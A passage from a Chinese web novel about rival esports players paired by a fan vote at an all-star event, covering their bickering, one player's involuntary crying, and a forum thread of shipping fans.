你和哪个神仙组成的cp还能被投到我们联盟第一?” 队内打野啧啧称奇的话语从耳畔传来,池一黎坐在座位上不咸不淡地抬了下眼皮,一点灰痣坠在鼻梁, 和赛场内转过来的摄像机对视一瞬。 “啧,不会是你那未来系列的绿毛龟小男友?”打野早已经习惯他的态度,摸摸下巴分析道, “自从你转发了他官宣咱对家战队的微博后,咱俩cp粉就跑了一大半……诶不对我想想啊,牧绍那个狗东西和他一个战队的, 他两cp热度比你和小绿毛的要火多了。” 打野的话语太糙, 池一黎淡瞥他一眼,开口问:“小绿毛,是谁?” 他的话语太过波澜不惊, 打野完全没听出这句话语里隐隐暗含的警告。只是转头去看那位站在场上陪同主持人活跃现场的昨日MVP选手云醒,目光触及到他那顶耀眼夺目的绿色头发,闻言一愣陷入沉思: “难道他新染的红毛,我红绿色盲?” 池一黎移回视线。 今天是第十三届全明星挑战赛第三天, 按日期计划表, 流程进行到随机组合大乱斗。由粉丝投票选举出最希望搭档组合的两位现役选手,不限战队不限位置, 排名前二的四个人将会强制进行2v2pk。 身为无可非议的公认世界第一上单,池一黎全然不会被新人不自量力地选中作为挑战对象。昨天的新生挑战赛他没有到场, 场上没有他的位置,此刻和队友一起坐在第一排的观众席。 大屏幕上已经开始揭示为期一周投票选出来的第一对选手名字,明晃晃的『HWD-三水也』孤零零地挂在屏幕上,等待着他被粉丝投出来的另一位队友。 池一黎没想到自己能被投到第一位。 麦麸和营业在各行各业内都不是什么违禁敏感词,同性恋婚姻法通过后, 队内哪怕是身为钢铁直男的打野都能跟着口嗨乱磕。但在池一黎的认知里,他性格不好相处又傲慢无礼,应该没什么人会将自己和他人配对。 头顶不断移动的场内摄像机对准了他的方向,左侧的屏幕上投射出他的模样。那是一张无可挑剔的脸,鼻梁高挺,眉骨英俊,每一处的轮廓线条都蕴含着锋利。他的眸瞳与嘴唇的颜色异常浅淡,如同冬月经年不化的雪。 人群的目光聚集在他身上,由雪堆砌的人在摄像机的拍摄中仍然是面无表情的,只淡然地看向场地最中央。 云醒就站在那里。因为在上周两个战队的打赌中成为失败的一方,ZKS一队全员都要染发变成五彩战队,白橙绿粉蓝,他身为中单被迫地选了最中间的绿色。 身后的黑色屏幕上不断滚动着各种各样的名字,足足过了几分钟终于停留下来,标红粗字展示出全国粉丝投票的最终结果,全场一片哗然。 云醒也略微愣住。 《契约计划》里没有人会不知道池一黎。豪门战队HWD的唯一钦定皇帝上单,蝉联六届世界赛个人对抗单挑MVP榜一。身为换血自残流的开创者,奉行队友祭天法力无边的孤狼准则,被无数上单玩家誉为没有感情的帝王。 王的前六年职业生涯波澜壮阔,举世瞩目,唯有一处不足,就是没有拿过一次团体战冠军。HWD被ZKS稳压一头,止步于万年老二的地位整整六年。 两个战队粉丝天天在网上互掐,也不耽误与他同期出道的全能鬼才牧绍在团队战中扫荡出至今无法被超越的分水岭,如同天空上冉冉升起的一轮灼目的太阳,嚣张霸道地占据着第一的神座。 他是主播云醒哪怕和家人决裂都要选择签约ZKS成为职业选手的初衷,也是池一黎真正成神路上最大的绊脚石。 云醒做了四年解说博主,太了解他们两个人之间的矛盾,此刻看着大屏幕上的名字,不由得抿起唇来。 『HWD-三水也 ZKS-木寸长』 这两串字词嚣张的占据了整个屏幕,HWD的打野握起草来:“我嘞个村长,怎么是牧绍这个逼,怎么投的?这他爹的邪教啊,乐姐都不磕。” 他神经兮兮地转头问:“三水,你上台不会和他打起来吧?” HWD的队长在一旁无语道:“然后咱们队的大宝贝就等着被禁赛?” “忘了这茬了,那我去帮你打!我老早就想冲那张脸来一拳了!” “……你先管好你自己。” 池一黎在场控叫出名字的那瞬间站起身。一米八七的身高自上而下投落出一片阴影,他随手解开黑色衬衫最上面的两颗扣子,迈开腿垂眸回应道:“打不起来。” 他的骨相太过于充满优越感,死亡射线打在头顶时也只能欣赏到一种酷到极致的冷。池一黎七拐八拐地顺着通道走到台侧,接过台助小跑着递过来的隐形麦,和牧绍冷不丁地对上视线。 那张痞气的脸上眉宇微扬,完全是学生时代最受女生喜欢的不良青年,牧绍染着一头耀眼的橙色头发,穿着黑色的无袖连帽背心,吊儿郎当地笑着向他抬了抬下巴。 两个人的距离并不太远,牧绍侧靠着围栏把隐形麦塞进口袋里,屈起左腿踩在舞台梯步上,语气古怪地停顿说:“我竟然还能、和你一队?” 池一黎正低头单手把麦夹到锁骨周围的衣服上。黑色绒球毛茸茸的触感扫过脖颈,带来一片微不可察的痒意,他的皮肤太过敏感,抬手换了地方夹到折叠起的衣领。 他听得出牧绍语气里的意思,随口回他道:“真难得。” 池一黎的神色过于冷酷,显得说什么都仿佛理所应当就是这样,外人乍一听起来还以为他是在感叹自己可敬的对手变成了即将组合在一起的队友,完全是强者之间的惺惺相惜。 但这简简单单的三个字,进到牧绍耳朵里却带着一股浓浓的冷嘲味道。他过于习惯池一黎的这副说话方式,比他自己光明正大地看不起人还要更加阴阳怪气。 更何况比起冷,那张轮廓丝毫不柔和的脸上酷要占据更多的感觉,所以显得更为随意不屑起来。 牧绍后屈起手臂靠在那里,长腿就这样肆意地一摆,将整个上台的通道都挡的严严实实。 两个人身型相差不大,牧绍官方百科上写的身高要比他还高两厘米,但这在实际情况下都可以忽略不计。池一黎踩到最底层的台梯上,抬眼说:“你走不走?” “走,还是不走,这是一个问题……”牧绍把麦取出来放在掌心把玩,漫不经心地回答了一句没有用的废话。 池一黎懒得听他即将开始的歪理,单手握住围栏,微微用力撑起自己,翻转手腕轻轻一跃。冰丝垂感衬衫随着破空的风声翻飞,露出一小节紧致的腰腹。池一黎利落地跨过半人高的阻挡,回头垂下眼帘把目光短暂地坠到牧绍身上。 “别这么多废话,牧绍。”他收回视线,一脚踩在最顶端的台阶上说,“跟上。” “你真不可爱。”牧绍收回腿,单手抄在牛仔裤的口袋里,学着池一黎的样子把手上的麦别在领口,跟在他身后故意开口恶心他道:“池一黎,我开始怀念起前天晚上你在我面前流眼泪的样子了。” 话语落下,身后的台助表现出错愕的表情,场控刚刚给他们打开的麦将这句话清晰无比地传送到现场的每个角落,顺着网线爬入正在观看这场直播的百万观众耳内。 正在和观众互动的主持人也卡了壳,和云醒一起不由自主地望向两个人上台的地方。场地边缘被巨型音响和大屏幕挡住,大型的机械臂操纵着摄像头四处摇摆着,却完全找不到两个人的身影。 牧绍自然也听到了场内的回声,他略有所思地回忆了一下,看到面前池一黎还是那副毫无波澜的脸色,突然意味深长地笑起来。 他毫不客气地伸手捂住自己和池一黎的麦,在后者耳边不加掩饰攻击性地开口道:“你觉得我家云醒会喜欢你吗,小哭包?” 牧绍和云醒身处于同一个战队,于情于理自然担得上‘我家’二字,池一黎定定地看了他一眼,伸手出捏住他捂住自己麦的手腕。 池一黎对于云醒的偏爱丝毫不加以掩饰,从万年不更新却突然活跃起来的微博就可以看出,他最新三条微博全是云醒分享战绩内容的快捷转发,粉丝乍一眼还以为自己点错了账号。 万年冷冰冰融化一角太过难得,所以哪怕联盟百分之九十都是直男,也不影响他们在各个地方口嗨着起哄几句。职业选手尚且如此,不外乎就算不在一个战队,粉丝也磕的十分起劲。 “难道你和他在一起了?”池一黎问,“你们。” 牧绍本身还在陷入回忆,心想互相呛声了六年,池一黎这样的冷脸冰川有的时候确实还能算得上一句可爱,听到他这句话立刻又略微不爽地压下眉头:“和你有关?” 池一黎与他相互凝视着,闻言慢慢地拉下他捂住自己领口的手,回敬道:“和你有关? 牧绍怎么能听不出来他是在用自己刚刚所说的话回击自己,但池一黎鼻梁上那颗痣生的位置实在过于恰到好处,和记忆里他落下的连串泪珠瞬间重叠起来。 他流泪的时候过于好看,如果云醒看到那样的他后会不会直接心软就喜欢上?牧绍觉得这种可能性未免有些大到离奇,不由得莫名其妙地心烦起来。 想到目前全世界里只有自己知道他的真实面貌,牧绍顿了顿,压低语调回应道:“有关。 场控经历过刚刚那一件事已经迅速地把他们的麦关了。主持人维护完场内秩序,反应很快地找补起来:“看来我们两位大爹还有一点悄悄话要说,那让他们在后台先多聊一会儿……来让我们看看下一组是谁呢……” 揭晓第二对的时候全场都是一脸的意料之中:全国粉丝投票出的第二组是ZKS的射辅,已经在联盟cp榜单上蝉联数年的第一位,简直是麦麸界的楷模,无数直男们需要去学习的对象,开个班绝对会一年收入过亿。这组合没有一点新意,但也不需要争议。 云醒有些心不在焉地在一旁跟着主持人捧哏,队内的那两个队友上来时也没有递去多余的注意力。他关乎社交这方面已经练出下意识般的炉火纯青,外表也冷静平淡,没有人看出来他其实频道对不上线。 他现在有些不太清楚自己是怎么了,从听到牧绍那句话就开始烦闷起来,深究起来也不知道是对他们之中的谁,更不明白怎么会这样。 池一黎……池一黎哭起来是什么样呢? 经年不变的冰山面容会软软地融化开来,那双浅到和琉璃一样漂亮的眼睛也会蒙上些许的雾气,脸上凌厉冷酷的神情都会变得生动无比,想到这里,云醒的喉咙有些干涩起来。 视野的余光里,两个刚刚引起全场骚动的男人一前一后地出场了。 牧绍的脸部轮廓硬朗帅气,眉眼之间带着一股谁也学不来的痞劲,配上那头嚣张到鲜艳的橙色头发更显得过分顽劣。他此刻身着无袖,帅到一定程度就会泛起戾气,整个人看起来异常的不好招惹。 主持人面对这座身高一米八//九的瘟神有些微微犯怵,转头去看他身后的池一黎,更加不知道开场说些什么来。 池一黎还是那副一百年都没变过的冰块脸,似乎打出生起就压根不会流泪,而刚刚的那句话是现场所有人的幻听。黑色的冰丝衬衫松垮垮地搭到他的身上,精致白楷的锁骨被半遮半掩地露出,带着一股纯天然的冷意。 主持人一时间同时面对起两座身高一米八七以上的瘟神,直面而来的攻击性过于强大,瞬间忘记了手持卡上写好的台词。 好在台上还有三个来自ZKS的队友,射手从松闵眉头一挑,刻意道:“三水和木勺可是出了名的不对付,这两个打配合有些活久见,能一起赢了我吹三百年。” 辅助伍于起在一旁笑着点点头,还不忘记去cue场上的另一位队友说:“刚好小云醒也在,不如让我们直接三打二!这发岂不是稳赢?!” 主持人接话笑道:“但这个也说不定,虽然两位之前从来没有配合过,而且风格也大相径庭,但我看数据库显示是很互补的类型呢……” 池一黎为了配合队友在一定程度上遏制了自己的打法,但牧绍却会调动起队友最大的潜力去迎合他,这就是两个人迥然不同的最本质差距。 在天赋、能力和技术拉开差距不大的时候,处于对立面时后者在团队战中绝对会比前者更胜一筹。 而相对的,处于一个团队时如果配合默契,就宛如在教皇在王座上被加冕皇冠。 池一黎看着在一旁静静当背景板的云醒,他那头绿色的头发实在是过于非主流,混合着一旁的粉毛和蓝毛,色彩斑斓间,真正演绎了什么叫做精神小伙在打电竞。 好在这三张凑在一起的脸长相都不太差,不至于让人心生敬畏到无法直视。 池一黎盯着云醒看的目光实在太久,牧绍就站在他旁边,想不注意到都有些困难。看着他就这样光明正大地在台上思索离神起来,牧绍心下充满不屑,果断向前一步挡住了池一黎的视线。 哦,这里还有一个橙毛的非主流。 他家上单呢? 差一个白毛这台上就齐了,集齐五种颜色就可以召唤神龙,五色战队ZKS团建当场启动。 主持人敏锐地看到牧绍迈出的这一大步,微笑着把话筒递过来:“看来我们真神有话要说?” 他递过来后才想起两个人身上都是有麦的,拐了个弯想流畅地再收回去,却被牧绍捏着底部把话筒抢到手里。 牧绍哪里有想说的话,他压根都不知道这四个人刚刚在一旁叽里咕噜地说些什么,但他下意识顺手就把话筒递到池一黎眼下,戾气的眉头舒展开来,毫不客气地替池一黎回答:“嗯…他有话要说。” 场内寂静起来。牧绍半侧着身子望向池一黎,捏着话筒有一下没一下地用食指指尖敲击着,有规律的清脆敲击声在场内响起,他看着池一黎冷淡转过来落在自己脸上的那双浅色眸瞳,突然间直接就毫无征兆地松开了手。 他了解他,他会接住。 话筒因重力的原因飞速地向地板上砸去,像一颗坠落的陨石,带着细微的刺耳风声,在场地内众人短促的惊呼中,云醒下意识地抬手捂住耳朵。 预料之内的重磅炸裂声音却没有从一旁的音响里传来,池一黎修长有力的手将话筒稳当地握进手心。云醒能看到他黑色衬衫的袖口处露出的那一小节瓷白的腕骨,听见池一黎神色不变地开口道:“你又犯病?” 剑拔弩张的气场似乎刹那在悄无声息间形成。 牧绍这样也不是一天两天,百分之九十的现役联盟选手都妄想给他来上一拳,另外的百分之十是不敢妄想的新人。但大多数只是因为他过于自傲不训的处事风格,而不是在池一黎眼前这样欠揍地连小学生都不如的出其不意。 只要两个人在场,与人设不匹配的嘲讽和阴阳怪气地交谈就会上演,这种现象在每个赛季的冠军颁奖典礼现场上最为突出,台下粉丝已经习惯起来。 之前是对手,现在不光是对手还是薛定谔的情敌,牧绍完全没心理负担地摊开手臂说:“……嗯,看你不顺眼,或者说,看你太顺眼了?” 池一黎看着这位自己六年来每一天都妄图打败的对手,嗤笑评价道:“幼稚。” “谁幼稚?”牧绍戏谑地开口说,“爱哭的家伙才是全世界最幼稚的。” 从三天前开始就右一句小哭包左一句爱哭鬼。池一黎对于他的这副姿态有些不耐起来,但是的确没有什么话语去反驳,于是只得冷着张脸看着他。 他冰冷地站在那里,想和往常一样不耐烦地回敬过去,思考一个人怎么能活的这么废话连篇,心情起伏间,下一秒眼泪突然毫无征兆地席卷而下。 云醒站在对面一眨不眨地盯着他,喉结不受控制地滚动起来。 泪失禁,学名情绪性泪腺失控。个体在情绪稍微有波动时就会不受控制的流泪,主要包括在与他人吵架时。 池一黎很少有情绪波动。幸福无忧的家庭成长环境导致他大部分情况下情绪都极其稳定,他有着强大的心理素质,处理事情也都波澜不惊,但遇到牧绍时是个例外。 这家伙做事太不讲道理,行为也不能完全当作正常人看待。他出身豪门、天赋超群、相貌出众、年纪轻轻便已经登顶世界之巅,仿佛整个世界里所有天龙人的气运全部汇集在他一人身上一样。 牧绍所获得过的东西多到如同沙漠里的沙子,但这些荣誉缔造出来的是随心所欲的性格,嚣张地像是已经称王称霸,而实际上牧绍也的确已经在各方面都无敌到寂寞。 放眼望去,试探、挑衅、嘲讽、对峙……全世界里只有那一个人与众不同。 战队是浮动的,新入圈的选手人才辈出,队友换了一个又一个,但唯独身为对手的他能和你不分伯仲。对方的羞耻与愤怒都转化成为自己的兴奋剂,为同一个目标的两个结果而野心勃勃,竞争到血液膨胀也畅快不已。 此刻他再次看到池一黎的眼泪,心跳又一次因兴奋而剧烈加速,于是毫不留情地开口说起来:“我说你是爱哭鬼吧。” 池一黎已经忍他很久。 三天前是全明星挑战赛宣布开幕的晚宴。联盟所有的选手都被邀请出席,池一黎和四个队友一起到场,下车后的第一件事就是去嘲讽上周和他们打赌输了的敌队战队。 HWD中单白书罗和ZKS射手从松闵两位队长恩怨已久,看到那头粉毛毫不客气地笑话起来,举起手机拍照发送微博九宫格,看到评论区里刷屏的言论时两眼一黑。 【这是什么?!双队长!磕一下】 【表面笑话内里喜欢,字里行间你都爱他】 【宿敌就是宿敌啊!宿敌战队队长也是妻子啊!】 队长白书罗关掉手机,把手搭在池一黎肩膀上叹气说:“大宝贝,我终于知道为什么你之前不爱发微博了。” “……我嘞乖乖,转发内绿毛龟。”队内打野凑过来说,“三水,被你三连转的那位真染成荧光绿毛了!” “真男人!愿赌服输好气概!” 那荧光绿过于瞩目,池一黎不用扫视就能看到云醒的存在。 因为就是故意朝整人方向去的,选的都是那个色系里面最为死亡、最不贴合人体皮肤的颜色,如若不是云醒那张脸实在精致,恐怕现在微博广场上就和他们队内的黄皮白毛上单一样,已经被粉丝发的无修鬼图铺满一大堆。 云醒是他在几年前偶尔发现的一个主播。他解说冷静犀利,操作也一样顶尖,身为类似于牧绍的全能位置型选手,年龄小又外貌优秀,平台粉丝数量十分可观。 池一黎一开始只是觉得他适合来打上单,来他们战队作为接替他位置的种子培养。于是在后台认真地给他敲了私信,却忘记自己的账号完全是一个三无小号,消息自然了无音讯。 ZKS的上单是池一黎的死忠粉丝,一米八五的身高,黄色皮肤,一身的肌肉看起来不知道是哪里来的超雄体育生,顶着面无全非的白毛就抛弃队友凑到池一黎身边。 他长相自然也不差,但纯正的白色头发并不是所有人都能驾驭得了的,尤其是黄色皮肤。 “三水哥三水哥三水哥!你看我的头发是上单色呢你也绝对很适合,要不要我们染一个同款吧!你一定会超级好看的!诶三水哥你不笑的时候真的酷爆了,世界上怎么能有你这么酷的上单?!你是我一辈子追求的偶像啊!” 池一黎靠在桌子边,抬起眼皮很淡地看他一眼。 “就是这样天杀的!怎么可以这样帅到我要无法呼吸!云醒这小子怎么可以这样好运?!我也想要来自偶像的三连微博转发啊,但我只能孤零零地把偶像你之前的微博转三百条……所以偶像我能不能亲你一口?” “你别这样啊烙铁,你和三水这对cp没人磕,”打野熟练地拉住白毛的后衣领,感慨说:“我曾经以为全世界上单都如同三水一样抗压到已经没有情绪,你完全颠覆了我的想象。” 队长若有所思道:“有道理啊,大宝贝你要不也染一个白毛。” 池一黎皮肤是冷白色的,头发却是极致的黑,灯光打下来时轮廓英俊冷酷到像是从漫画里走出的非三次元人物。 打野顺手搭到他另一边肩上说:“漂发伤发,我们冷酷邪魅的绝世美男子不要学这群一看就不是好人的精神飙车族啊!” ……到底谁是粉丝投票选举出来位居联盟第一的街溜子。 剪彩开幕式时池一黎站在牧绍身边,后者毫不客气地上手捏起他的头发,起了兴致道:“好玩的池一黎,你要不染个色加入我们战队,变成‘这可是池一黎’?” “哦…不行,”牧绍想了下说,“云醒也在,你得离他远点,我还没忘记你之前想挖他去你们战队的心思,他现在可是成了我的队友。嘛没办法,我们战队世界第一,他就是最后选了我也无可厚非啊。” 池一黎冷漠地抬起脚向他的膝弯踹去,言简意赅地开口道:“你可以闭嘴。” “啧,”牧绍腿一屈,移动位置轻松地躲掉,道:“你果然不适合当我的队友。” 压根没有要去当他队友的想法,池一黎只想在赛场上赢他一次,如果成为队友那还怎么竞争。 剪彩的刀从一旁传递到他手里,摄像机对准了他两所在的位置,池一黎低下头一笔划过。身上橙白色的战队队服就像是高中校服,但他肩宽腿长,身材也笔直挺拔,硬是穿出了走秀的感觉。 穿着纯黑色队服的牧绍插着兜静静看了一会儿,把开了一半刃的小刀握进手里翻出花来,深刻地点点头感叹说:“嗯,还是我们战队衣服帅。” 没有粉丝参与的晚宴无法避免一些商业化的模式,但这些社交一般也轮不到选手出面。池一黎去找云醒把之前说好的游戏角色卡给他,还没聊上几句就被不知道从哪里窜出来的打野搂了脖子。 这位直男打野的一日三餐异常规律,本身就是吃饱了来的,但抵抗不了宴会上的美食,还没开场多久就已经气弱悬河地伸出尔康手道:“老子要撑死了,三水大帝,快扶本王去游戏室歇息……” 他眨眨眼看向池一黎身前那位矮了半个头的人,眯起眼睛看了一会儿,自上而下地开口道:“诶绿毛龟,你这头毛的确看着还挺不错的……” 后半句话捂在喉咙里没有说出来,池一黎拎着他转了个身,侧头垂眸扫过云醒一眼,留了一句告辞。 这幅态度过于冷漠,除了微博上的三条连续转发,完全看不出有任何特殊对待的表现。云醒顿时有些失落,不由得侧头去看一旁正在和教练交谈的牧绍,握紧了刚刚池一黎递来的角色卡。 池一黎把打野拎到游戏室就被经理叫走,他们俱乐部的经理全名代乐,是一名留着狼尾行事干练的女性,说有几个投资商想见他。 作为HWD俱乐部最有商业价值的明星选手,池一黎这些年应付起来已经轻车熟路。和投资商的儿子或是女儿合影完全不需要任何多余的表情管理,站在那里冷淡地像是完美的雕像。 十几杯酒下肚,他到来的任务就已经结束。池一黎回到顶楼战队选手专用的休息室里,把队服外套脱下来拿到手上,沿着墙边一路去摸索灯光开关。 这个时间所有的选手都在负一楼的晚宴厅里,需要休息的也只会去游戏室或者一楼的接待室,没有什么人会上到顶楼。 池一黎酒量很好,头脑也算得上是清醒,但此刻室内有些过暗,一切都有点看不太真切。 抬脚间外套被附近的什么东西勾住,在即将从手臂上滑落的那瞬间,池一黎只来得及抓住一只袖子。他翻转手腕把袖子缠绕起来,沿着袖子的方向转身走过去,脚下又被桌凳绊住。膝盖结结实实地卡在椅子背部的尖锐棱角上,闷响在寂静的空间里回荡,痛感反应到神经,池一黎愣在原地。 “……池一黎?” 随着话语一同响起的是灯光的开关,刺眼的白色灯光冷不丁覆盖住黑暗,眼前白茫茫一片,努力扼制住的眼泪瞬间从眼眶里滚落而出。 池一黎面无表情地冷脸看着他,眼眶红了一片。 他根本没有任何要哭的想法,那点疼痛也完全可以忽略不计。但是泪腺太过敏感,眼泪掉落时总是出乎他的意料。 牧绍刚刚一眼就从身型的轮廓上认出来者是池一黎。他揉着头发从沙发上站起来,戾气困倦的眉宇一跳,嘲讽的话语到了嘴边,抬起头却看到他脸颊上不断滚动的晶莹液体。 虽然还是那副面瘫版本的冷酷模样,但那双凛然的浅灰色眸子宛如凝起的珍珠一样粼粼闪闪,牧绍第一反应脱口而出问:“很疼吗?” 池一黎解开缠在手腕上的外套。另一边勾住它的是门口的衣架,他走过去把外套挂在上面,回头时牧绍又开口道:“原来你会哭啊。” “被椅子拌一下就要哭,你是什么玻璃做的人吗?”他恢复了神情饶有兴趣地顽劣道,“这么脆弱,之前被我打败了装的倒是很好,实际上回家不会也在被窝里悄悄地哭吧?” 池一黎掉着眼泪,语气却仍然沉稳冷漠,他说:“你还不配。” “那你现在还哭?” “控制不住。” “你有病?” 池一黎说:“嗯。” 他坦然的承认反倒让牧绍不知道说什么是好,于是移开视线去看向别的地方。 池一黎队服外套下只穿了一件同色系的橙色短袖,衣服布料被胸肌微微撑起。手腕与手掌的交接处有一抹自然的过渡,展现出肌肉流畅的美感。他皮肤太白,刚刚被衣袖勒出的红痕在手腕上看起来异常显眼。 牧绍凑近了点,鼻尖闻到红酒的香气,那抹红痕看起来愈发刺眼,他心下一跳,琢磨道:“你被谁潜规则了?” 池一黎沉默了下,两个人身型相差无几,凑近时各具侵略气息,眼泪掉到牧绍伸过来的手上,他微微抬眼说:“你有病?” 池一黎的皮相过于冷酷优渥,凑近看时更为惊艳。一滴泪珠沾在睫毛上摇摇欲坠,鼻梁上的那点痣都生动起来,牧绍盯了一会儿,盯到那颗泪珠因为眨眼而滚落下来,才反应过来一般毫无羞耻之心地道:“这不是公认的常识。” “你哭起来比冷着脸好看多了。”牧绍说,想了想又补充道,“好玩的哭包池一黎。” 池一黎在台上的眼泪掉的过于快速且惊人,摄像机的机位还对准着牧绍那张帅到惊人的脸,他站在池一黎身前,完美地挡住了所有人可能会看到他的目光。 主持人习惯般地打起圆场,话筒递到嘴边又开始卡起壳来。他又不是专业的主持人,只是全明星的客串,对今天发生的一切有些崩溃到焦头烂额。 ZKS台上的另外几名队员对这突如其来的一幕都还没反应过来。池一黎的眼泪他们看的过于清楚,一是震撼万年冰山虽然面无表情但是竟然真会流泪,二是惊讶牧绍刚刚所说的每一句话。 爱哭的家伙。这样的字眼竟然是可以被按到池一黎的身上,只能感叹一句:不愧是牧绍。 阴阳怪气剑拔弩张的两个人看的多了,还是第一次见牧绍一句话就把池一黎说的掉下眼泪。 台下的人完全看不清上面发生了什么,所有人只看到牧绍眉头突然又皱起来,一把拽过池一黎的手把后者拉到台下。 第一排的HWD打野感叹起来,看着牧绍的背影更加不顺眼,对着一旁的队长啧声道:“天杀的这个村长又怎么了,那话几个意思,咱家的大宝贝还会哭?这邪教怎么还真给那些粉丝磕上了!” 第29章 论坛《契约联盟《灌水杂谈《匿名 李涛, 们邪教粉现在要飞升了吧(禁吵架) RT。点名某位真神打野和某位皇帝上单,这俩感觉像真谈了在调情,把联盟麦麸届的扛把子在一旁都搞震惊了。 【配图:ZKS辅助震惊脸】 1L:不知道啊因为我cp没麦 2L:一边说神帝是邪教一边禁吵架, 你故意的?那这么说起来们竞男全是直的,你cp是假的!听到没?!直!男!全是他爸的邪教! 3L:都说了之前的互怼都是情趣,所有人都是他们play中的一环, 已婚六年真情侣说这些 4L:啊世界好魔幻,世一单那张冰块脸虽然ID里有水但他竟然真的会哭啊? 5L:怎么哭的让我看看(扭曲爬行)怎么哭的让我看看(扭曲爬行) 6L:两个健硕的男的你们怎么怎么磕起来的?不如磕我们小云宝宝和牧神 7L:不知道啊ls,反正我磕给子的初衷就是喜欢势均力敌的两个男人在一起 8L:……云醒是男的望周知, 他割了也不是女的。在我们cp帖子里贴脸ky, 你是孤儿吗还是正主房塌了?我真开眼了。 9L:这可是(闪电emoji)木勺啊! (系统已自动折叠相同言论) 19L:攻击性好强各位,点开就想退出了RO还有匿名区竟然能直接带大名吗? 20L:这可是木勺好玩地吃一粒。 21L:爱麦麸就发财,不爱麦麸就抓起来! 22L:回19l, 直接带。没事律师函发不到手里的,来跟我学:牧绍池一黎请结婚。 23L:牧绍池一黎请结婚 (系统已自动折叠相同言论) 50L:啧到他两这个地位也不用靠麦麸赚钱了吧,只有彩笔竞男才会需要麦麸。 51L:所以他俩是真的? 52L:村长请发大财赚大运再迎娶一点也不娇妻的冰山妹回家 53L:“爱哭的家伙”这句话听着好宠,我磕! 54L:20l凭什么村长在前?明明是:好玩地吃一粒x这可是木勺 55L:好玩地吃一粒可是木勺的 56L:ls叉出去, ZKS战队名字都给你改了, 小心神罚降临 57L:我真服了……HelloWorld这么文艺一战队名字被你们曲解的仿佛吃一粒是gv下海男 58L:你们皇粉能不能别一口一个村长了?!你丫才是村长,那是木寸长(chang)!跟你们队排不上号的该溜子打野一样没学点好! 59L:【跳转链接:宪法规定的公民言论自由含义】 60L:看标题进, 天杀的这不好磕!捍卫好玩地吃一粒不好玩的权利! 61L:但是他说他是爱哭鬼诶,磕得小女子快哉快哉 62L:元芳, 路人刚刚看了一篇神帝同人文,现在要被创飞了。娇妻吃一粒那篇到底哪位神人写的?报银行卡号我要给你转钱。真雷麻了 63L:不行这cp太邪门了我得去吐一会儿,我只看到两个男的互相想让对方去死。尴了个大尬,一个社会性死亡一个物理意义上的死亡。 64L:62l笑死,我知道你说的是哪篇, 别管了就这样那咋了!懂不懂得什么叫做酷哥反差啊(战术后仰) 65L:这话我不爱听了!追随了神六年还被稳压一头的万年老二怎么不是一种不离不弃的娇妻了? 66L:卧槽卧槽那个论坛热帖你们看没,你圈世界第一皇帝上单真哭了,我就说我cpszd啊啊啊kswl 67L:村长大好人村长发大财村长牛逼哇,太漂亮了请天天把他弄哭,谢谢谢谢谢谢(塞进嘴里) 68L:此等好东西速看! 【跳转帖子:谢邀,人在第一排扛大炮,看我拍到什么好东西】 牧绍哪怕有心理准备,也没想到池一黎的眼泪能说掉就掉。 如果是其他人牧绍就会单纯站在那里看起乐子,毕竟他凭本事说哭的又为什么要去安慰。 但池一黎偏偏是在云醒面前、还有那么多人的注视里流下泪来的,牧绍想着自己刚刚应该是把他挡住了,不由得感叹起自己简直太过心善,谁还会像他一样在意宿敌的心情? 这可是池一黎保守了六年的秘密,为了不被人知道是个哭包的事实甚至足足装了六年的冷脸,这么被大众戳破池一黎羞愤难当到要去自杀怎么办?!天上从哪再给他掉下来这么一个势均力敌的对手? 那该死的眼泪在刚刚只有他俩在台下的时候掉也可以啊!而且如果云醒真因为这一眼就喜欢上他,自己岂不是输的太窝囊。 毕竟眼前这个人泪珠滴落的时候面容会勾勒出某种惊心动魄的反差,牧绍只是看着都有些恍惚起来,刚刚差一点没有反应过来。 池一黎没什么想法地看着牧绍,这个莫名其妙的病特有的症状就是来去都快,刚刚被牧绍拉下台时就已经不再滚落泪水。 小时候还会因为突如其来的落泪怀疑自己是不是有一些问题。于是流泪在小学时变成太私密的事情,拿出来公之于众需要百分百的勇气,但妈妈会捧着他的脸替他细细擦干,说眼泪流淌是会被爱的表现,而他被很多人爱着。 稍微大一点后他就学会控制情绪保持冷静,除了日常中一些不可避免的磕碰事件,几乎没有什么能够让他情绪阀值过分起伏。但牧绍最近的挑衅有些过于过分,虽然他只仅仅有一点点的不爽,对于被说是哭包这件事心里其实很无所谓。 池一黎穿着黑色衬衣,衣物因为被液体砸下来而浮现出一小片明显的湿痕,有些皱巴巴的,看起来像是被人攥在手心摩挲过一样。 他从衬衣胸前的口袋里摸出一小包已经被用到扁平的卫生纸来,取出一张沾过眼尾残留的湿润,抬眼看到牧绍以一副异常奇怪的神情看着他。 池一黎说:“……怎么?” “你甚至会随身带纸。”牧绍早知如此,但仍然大为震撼,戾气的面容愈发摆出深思的神色,不知道又想到了什么地方。 随身装一包纸是一件美德,因为与他同队的那几位某方面来讲在外的确有些不修边幅,没他的话拿袖子一抹就是乱干,但池一黎是处女座,而且有轻微的洁癖。 牧绍思绪发散,但转念又收回自己不切实际的想法。面前这个人此刻的神态太过波澜不惊,但他研究了池一黎六年,足够他看出嘴角微小的嫌弃与敷衍。 他刚刚是怎么了,怎么还会觉得‘池一黎因为被戳破就会羞愤欲死’? 牧绍顿时被自己的想法闪了个五雷轰顶。 ……一定是因为这两天队长从松闵给他看的同人文太多,那邪门到极致的宿敌文学总是在yy池一黎冷酷无情的面容下实际上是一个喜欢撒娇、乖到让干什么就干什么甚至还长了批的敏感酷哥,而自己是桀骜霸气天天强制爱的天龙人又爽了哥,看多了思维模式都如同降智一般。 不对。他有病啊他为什么要看他和池一黎的同人文。 池一黎深思一下,把卫生纸扔到一旁的纸篓里。“牧绍。”他冷酷沉稳地开口道,“你去医院的话,我可以出钱。” 好一个不加掩饰地骂人脑子有病的说法。牧绍邀请起来:“我们可以一起去。” 他话音刚落,一阵破空的拳声袭击而来,从后方击出擦着牧绍耳边而过。HWD的打野韩城握着手机气势磅礴地出场了,指着屏幕上的论坛图片一脸沉重地开口道:“你竟然敢把三水欺负哭!牧绍,我们HWD三千万御林大军都不会放过你的。” 联盟里没有一个打野玩家不崇敬牧绍,也没有一个打野玩家不想揍他一拳。差一点就揍到也算揍到。即使话语如此,但韩城太清楚池一黎这么大一个人,性格也非软弱之辈,就算真的和照片上一样流泪了也不会吃一点亏。 ……但是他好亏!池一黎好不容易出现一次的万年冰山脸破功,怎么对面站着的是牧绍这个狗东西,可恶,真不爽。 “就是欺负了又能怎么办?”牧绍吊儿郎当地回他,“那爹也给你们哭一个?” 